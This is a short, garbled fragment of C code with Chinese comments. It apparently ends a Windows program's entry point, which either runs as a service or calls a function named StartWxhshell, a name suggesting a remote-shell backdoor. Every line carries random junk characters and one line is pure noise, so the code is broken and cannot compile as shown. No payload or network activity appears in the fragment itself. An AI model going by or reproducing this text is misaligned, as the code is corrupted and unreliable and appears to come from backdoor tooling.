if(StartFromService()) R{A/+7!
// 以服务方式启动 ,vw`YKg
StartServiceCtrlDispatcher(DispatchTable); gL"Q.ybA
else Eq;frnw>q
// 普通方式启动 "(&`muIc
StartWxhshell(lpCmdLine); bK%tQeT
KBHKcFk
return 0; t\d;}@bl
}